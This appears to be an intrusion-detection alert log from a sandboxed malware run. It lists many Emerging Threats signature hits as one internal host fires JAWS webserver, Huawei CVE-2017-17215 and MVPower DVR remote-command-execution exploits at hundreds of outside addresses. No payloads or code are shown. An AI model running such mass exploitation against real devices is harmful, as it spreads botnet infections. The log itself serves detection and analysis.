06/01/24-18:15:55.265512	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45236	80	192.168.2.23	91.87.51.114
06/01/24-18:15:53.238377	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42178	80	192.168.2.23	41.79.241.72
06/01/24-18:15:54.255551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39538	37215	192.168.2.23	197.75.33.112
06/01/24-18:15:53.237869	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53862	80	192.168.2.23	149.115.99.191
06/01/24-18:15:54.252324	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41586	37215	192.168.2.23	197.22.210.222
06/01/24-18:15:54.237993	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47054	80	192.168.2.23	213.99.204.125
06/01/24-18:15:54.256497	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34852	37215	192.168.2.23	41.229.19.154
06/01/24-18:15:53.240062	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51500	80	192.168.2.23	187.75.110.93
06/01/24-18:15:53.240794	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33210	80	192.168.2.23	155.78.6.227
06/01/24-18:15:53.241160	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42950	80	192.168.2.23	160.171.210.51
06/01/24-18:15:54.252358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59700	37215	192.168.2.23	41.139.183.232
06/01/24-18:15:54.252286	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52362	37215	192.168.2.23	156.45.224.43
06/01/24-18:15:56.287888	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37586	37215	192.168.2.23	197.60.54.58
06/01/24-18:15:56.306738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44436	37215	192.168.2.23	156.142.205.5
06/01/24-18:15:55.261312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35684	37215	192.168.2.23	197.27.178.48
06/01/24-18:15:53.246870	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60716	80	192.168.2.23	18.69.98.66
06/01/24-18:15:55.260976	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55978	37215	192.168.2.23	197.175.191.141
06/01/24-18:15:54.254818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38566	37215	192.168.2.23	41.5.46.180
06/01/24-18:15:55.260163	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37114	37215	192.168.2.23	197.204.11.107
06/01/24-18:15:55.265899	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37148	80	192.168.2.23	98.123.8.16
06/01/24-18:15:54.239533	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41362	80	192.168.2.23	41.189.31.68
06/01/24-18:15:55.262262	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39182	37215	192.168.2.23	41.101.17.223
06/01/24-18:15:55.261518	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37822	37215	192.168.2.23	156.121.41.185
06/01/24-18:15:53.240919	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33878	80	192.168.2.23	112.152.48.8
06/01/24-18:15:54.275135	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39124	37215	192.168.2.23	156.191.243.96
06/01/24-18:15:53.246794	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43646	80	192.168.2.23	121.59.20.215
06/01/24-18:15:54.251867	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53694	37215	192.168.2.23	41.23.36.64
06/01/24-18:15:53.240886	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39732	80	192.168.2.23	128.151.195.102
06/01/24-18:15:54.274578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48220	37215	192.168.2.23	197.173.199.249
06/01/24-18:15:56.307218	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51982	37215	192.168.2.23	41.199.2.59
06/01/24-18:15:56.308362	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35150	37215	192.168.2.23	41.4.150.25
06/01/24-18:15:54.240667	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39030	80	192.168.2.23	217.30.58.227
06/01/24-18:15:56.308485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56528	37215	192.168.2.23	197.200.184.181
06/01/24-18:15:55.266133	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32978	80	192.168.2.23	146.172.113.113
06/01/24-18:15:54.251978	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51176	37215	192.168.2.23	41.144.59.161
06/01/24-18:15:56.307586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41184	37215	192.168.2.23	197.199.175.95
06/01/24-18:15:54.256096	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35190	37215	192.168.2.23	156.2.158.240
06/01/24-18:15:56.246355	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47646	80	192.168.2.23	108.218.98.173
06/01/24-18:15:54.252052	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53482	37215	192.168.2.23	41.13.150.2
06/01/24-18:15:53.239819	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44778	80	192.168.2.23	25.87.20.30
06/01/24-18:15:53.241011	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46490	80	192.168.2.23	93.152.148.219
06/01/24-18:15:54.237719	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54410	80	192.168.2.23	147.89.17.146
06/01/24-18:15:56.306706	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37724	37215	192.168.2.23	156.246.84.41
06/01/24-18:15:56.305968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59194	37215	192.168.2.23	197.192.206.29
06/01/24-18:15:53.241257	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38354	80	192.168.2.23	8.194.32.207
06/01/24-18:15:54.256689	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52956	37215	192.168.2.23	156.95.106.67
06/01/24-18:15:54.257008	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58146	37215	192.168.2.23	156.249.12.23
06/01/24-18:15:54.255441	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52168	37215	192.168.2.23	156.32.96.160
06/01/24-18:15:55.267998	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49096	80	192.168.2.23	59.33.69.191
06/01/24-18:15:54.257094	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51850	37215	192.168.2.23	41.201.77.122
06/01/24-18:15:54.237774	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60472	80	192.168.2.23	49.81.200.207
06/01/24-18:15:54.239716	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52274	80	192.168.2.23	106.72.36.51
06/01/24-18:15:53.238499	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34700	80	192.168.2.23	202.238.8.254
06/01/24-18:15:54.274356	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46882	37215	192.168.2.23	197.249.199.20
06/01/24-18:15:54.251379	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36386	37215	192.168.2.23	41.249.106.11
06/01/24-18:15:54.237923	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58546	80	192.168.2.23	57.54.162.72
06/01/24-18:15:56.255441	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50510	80	192.168.2.23	80.104.124.102
06/01/24-18:15:56.306901	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34652	37215	192.168.2.23	156.60.77.246
06/01/24-18:15:56.246983	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57912	80	192.168.2.23	133.6.1.52
06/01/24-18:15:56.305908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43726	37215	192.168.2.23	41.201.42.167
06/01/24-18:15:54.254997	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40604	37215	192.168.2.23	197.85.240.37
06/01/24-18:15:55.262143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35928	37215	192.168.2.23	156.189.243.5
06/01/24-18:15:55.233750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34658	37215	192.168.2.23	156.113.148.202
06/01/24-18:15:53.240081	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33834	80	192.168.2.23	106.16.15.220
06/01/24-18:15:53.240757	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56784	80	192.168.2.23	162.133.179.162
06/01/24-18:15:54.256369	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51756	37215	192.168.2.23	156.196.70.199
06/01/24-18:15:53.239929	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36546	80	192.168.2.23	196.44.130.154
06/01/24-18:15:54.251475	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56050	37215	192.168.2.23	156.198.133.179
06/01/24-18:15:53.246870	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60716	80	192.168.2.23	18.69.98.66
06/01/24-18:15:54.252766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55648	37215	192.168.2.23	197.218.44.219
06/01/24-18:15:56.255297	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51122	80	192.168.2.23	112.77.116.122
06/01/24-18:15:54.255667	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57142	37215	192.168.2.23	41.39.148.206
06/01/24-18:15:56.245577	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52106	80	192.168.2.23	165.160.100.184
06/01/24-18:15:54.253117	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51976	37215	192.168.2.23	41.137.161.29
06/01/24-18:15:54.274187	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35414	37215	192.168.2.23	41.44.205.135
06/01/24-18:15:56.254886	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59050	80	192.168.2.23	51.132.195.236
06/01/24-18:15:56.254555	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34994	80	192.168.2.23	168.145.45.26
06/01/24-18:15:54.241927	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52486	80	192.168.2.23	173.159.67.38
06/01/24-18:15:54.239572	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50710	80	192.168.2.23	198.203.182.175
06/01/24-18:15:56.245225	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45024	80	192.168.2.23	201.6.73.207
06/01/24-18:15:54.237678	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37034	80	192.168.2.23	194.244.242.70
06/01/24-18:15:54.237774	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60472	80	192.168.2.23	49.81.200.207
06/01/24-18:15:53.237649	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45786	80	192.168.2.23	134.10.23.167
06/01/24-18:15:54.252020	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51288	37215	192.168.2.23	156.122.101.93
06/01/24-18:15:54.252650	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35458	37215	192.168.2.23	41.53.249.76
06/01/24-18:15:54.256631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37794	37215	192.168.2.23	41.88.60.138
06/01/24-18:15:55.267680	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59680	80	192.168.2.23	117.50.6.59
06/01/24-18:15:53.247144	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44808	80	192.168.2.23	188.248.176.49
06/01/24-18:15:54.275164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58472	37215	192.168.2.23	156.240.30.191
06/01/24-18:15:56.305803	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50172	37215	192.168.2.23	197.78.23.227
06/01/24-18:15:56.307832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46636	37215	192.168.2.23	197.46.217.40
06/01/24-18:15:53.239596	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51050	80	192.168.2.23	108.85.135.218
06/01/24-18:15:54.252809	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53806	37215	192.168.2.23	197.239.209.224
06/01/24-18:15:55.259864	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38666	37215	192.168.2.23	197.174.153.53
06/01/24-18:15:55.272625	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34184	80	192.168.2.23	169.128.130.40
06/01/24-18:15:56.254930	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55984	80	192.168.2.23	103.40.87.16
06/01/24-18:15:55.261368	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45138	37215	192.168.2.23	156.193.29.187
06/01/24-18:15:56.246141	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37370	80	192.168.2.23	198.54.147.248
06/01/24-18:15:56.246254	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32796	80	192.168.2.23	73.230.71.26
06/01/24-18:15:54.256904	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58434	37215	192.168.2.23	197.24.244.117
06/01/24-18:15:54.273782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46148	37215	192.168.2.23	197.69.9.82
06/01/24-18:15:56.307705	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40474	37215	192.168.2.23	156.148.149.212
06/01/24-18:15:54.238439	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36208	80	192.168.2.23	147.135.44.218
06/01/24-18:15:54.255075	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39874	37215	192.168.2.23	41.147.35.71
06/01/24-18:15:55.272495	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45794	80	192.168.2.23	85.180.164.31
06/01/24-18:15:56.246218	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47938	80	192.168.2.23	52.6.122.212
06/01/24-18:15:56.287840	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54832	37215	192.168.2.23	197.91.191.231
06/01/24-18:15:56.305703	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60002	37215	192.168.2.23	197.169.240.113
06/01/24-18:15:56.244111	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53508	80	192.168.2.23	177.237.184.162
06/01/24-18:15:54.251062	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48658	37215	192.168.2.23	41.164.227.208
06/01/24-18:15:55.260737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53226	37215	192.168.2.23	197.146.75.139
06/01/24-18:15:55.261704	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59268	37215	192.168.2.23	197.115.193.139
06/01/24-18:15:56.307768	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49984	37215	192.168.2.23	197.205.140.173
06/01/24-18:15:53.241794	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57298	80	192.168.2.23	24.4.140.180
06/01/24-18:15:53.247238	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43374	80	192.168.2.23	112.217.71.237
06/01/24-18:15:54.252358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59700	37215	192.168.2.23	41.139.183.232
06/01/24-18:15:54.252388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53196	37215	192.168.2.23	156.58.214.28
06/01/24-18:15:53.238572	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56756	80	192.168.2.23	174.194.105.235
06/01/24-18:15:53.247074	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45146	80	192.168.2.23	98.220.77.102
06/01/24-18:15:54.274230	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55148	37215	192.168.2.23	156.122.9.247
06/01/24-18:15:54.254379	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34226	37215	192.168.2.23	41.74.251.91
06/01/24-18:15:55.260550	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58116	37215	192.168.2.23	41.248.71.190
06/01/24-18:15:55.266850	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38112	80	192.168.2.23	71.91.49.115
06/01/24-18:15:56.254790	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39154	80	192.168.2.23	195.190.120.96
06/01/24-18:15:55.259084	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34116	37215	192.168.2.23	197.227.44.103
06/01/24-18:15:55.261460	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42000	37215	192.168.2.23	41.32.165.26
06/01/24-18:15:55.267894	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56332	80	192.168.2.23	116.245.119.93
06/01/24-18:15:53.241729	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34492	80	192.168.2.23	123.28.179.254
06/01/24-18:15:55.259125	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53256	37215	192.168.2.23	156.182.240.81
06/01/24-18:15:56.244458	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46316	80	192.168.2.23	117.23.22.23
06/01/24-18:15:53.241765	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50824	80	192.168.2.23	87.130.72.182
06/01/24-18:15:54.238811	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56774	80	192.168.2.23	145.92.78.73
06/01/24-18:15:55.265151	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51248	80	192.168.2.23	171.183.227.124
06/01/24-18:15:56.246558	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40260	80	192.168.2.23	39.154.44.113
06/01/24-18:15:55.260401	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43740	37215	192.168.2.23	197.163.157.253
06/01/24-18:15:54.238030	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55740	80	192.168.2.23	50.27.20.241
06/01/24-18:15:54.275349	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44912	37215	192.168.2.23	41.247.195.212
06/01/24-18:15:53.240154	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39420	80	192.168.2.23	31.70.83.31
06/01/24-18:15:55.265381	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55890	80	192.168.2.23	201.27.217.106
06/01/24-18:15:55.258740	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49574	37215	192.168.2.23	41.37.164.26
06/01/24-18:15:55.266672	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56944	80	192.168.2.23	96.101.32.166
06/01/24-18:15:54.253905	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45198	37215	192.168.2.23	156.145.248.27
06/01/24-18:15:55.259243	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34126	37215	192.168.2.23	197.16.225.51
06/01/24-18:15:54.252981	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60494	37215	192.168.2.23	156.68.148.229
06/01/24-18:15:55.262106	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38672	37215	192.168.2.23	41.144.238.83
06/01/24-18:15:53.240463	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37714	80	192.168.2.23	206.121.1.240
06/01/24-18:15:55.267969	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60874	80	192.168.2.23	50.45.43.167
06/01/24-18:15:55.262860	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37250	37215	192.168.2.23	41.230.149.194
06/01/24-18:15:55.267641	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48436	80	192.168.2.23	119.233.198.220
06/01/24-18:15:53.241078	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55216	80	192.168.2.23	51.180.72.227
06/01/24-18:15:54.275510	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38772	37215	192.168.2.23	197.231.220.22
06/01/24-18:15:54.275830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40262	37215	192.168.2.23	197.97.177.91
06/01/24-18:15:55.272091	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33304	80	192.168.2.23	117.221.193.160
06/01/24-18:15:54.275098	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49218	37215	192.168.2.23	41.27.121.67
06/01/24-18:15:56.255251	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47712	80	192.168.2.23	87.44.98.223
06/01/24-18:15:56.307898	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54184	37215	192.168.2.23	41.8.69.158
06/01/24-18:15:55.261204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42426	37215	192.168.2.23	156.177.250.156
06/01/24-18:15:53.239887	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54180	80	192.168.2.23	222.84.171.34
06/01/24-18:15:55.263691	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57294	37215	192.168.2.23	41.24.234.239
06/01/24-18:15:54.252700	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47716	37215	192.168.2.23	197.148.143.218
06/01/24-18:15:53.237931	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44742	80	192.168.2.23	81.132.76.122
06/01/24-18:15:55.268368	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37426	80	192.168.2.23	88.57.152.134
06/01/24-18:15:54.253358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52420	37215	192.168.2.23	41.169.149.73
06/01/24-18:15:54.256311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32974	37215	192.168.2.23	41.13.222.141
06/01/24-18:15:54.255877	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44130	37215	192.168.2.23	156.151.10.77
06/01/24-18:15:54.255917	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54086	37215	192.168.2.23	156.123.221.185
06/01/24-18:15:54.238762	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35140	80	192.168.2.23	24.72.9.82
06/01/24-18:15:55.264980	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46430	80	192.168.2.23	53.177.52.181
06/01/24-18:15:55.266621	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39892	80	192.168.2.23	193.247.242.227
06/01/24-18:15:54.240566	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41472	80	192.168.2.23	213.46.243.209
06/01/24-18:15:54.253312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56290	37215	192.168.2.23	197.25.244.85
06/01/24-18:15:53.241529	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58654	80	192.168.2.23	89.243.242.221
06/01/24-18:15:54.239076	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33318	80	192.168.2.23	67.147.165.34
06/01/24-18:15:54.275905	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45842	37215	192.168.2.23	41.42.3.37
06/01/24-18:15:54.251796	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57566	37215	192.168.2.23	41.179.71.43
06/01/24-18:15:56.245386	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54684	80	192.168.2.23	37.201.193.121
06/01/24-18:15:55.261842	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59374	37215	192.168.2.23	197.244.184.156
06/01/24-18:15:56.308392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60204	37215	192.168.2.23	197.159.189.243
06/01/24-18:15:54.256434	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44020	37215	192.168.2.23	197.204.247.193
06/01/24-18:15:56.306634	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36014	37215	192.168.2.23	156.35.92.138
06/01/24-18:15:55.260686	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57732	37215	192.168.2.23	156.1.199.155
06/01/24-18:15:55.266938	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60962	80	192.168.2.23	48.6.53.216
06/01/24-18:15:54.254529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49572	37215	192.168.2.23	197.229.155.141
06/01/24-18:15:54.239370	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50474	80	192.168.2.23	39.24.219.249
06/01/24-18:15:54.241602	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37588	80	192.168.2.23	212.34.153.120
06/01/24-18:15:54.275742	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60068	37215	192.168.2.23	41.186.161.206
06/01/24-18:15:55.266558	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55906	80	192.168.2.23	60.237.234.86
06/01/24-18:15:53.238346	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51142	80	192.168.2.23	149.127.43.235
06/01/24-18:15:54.256517	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55302	37215	192.168.2.23	197.177.223.221
06/01/24-18:15:55.264950	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50738	80	192.168.2.23	175.110.145.206
06/01/24-18:15:55.263651	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54962	37215	192.168.2.23	41.163.26.210
06/01/24-18:15:54.253534	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43954	37215	192.168.2.23	156.91.55.119
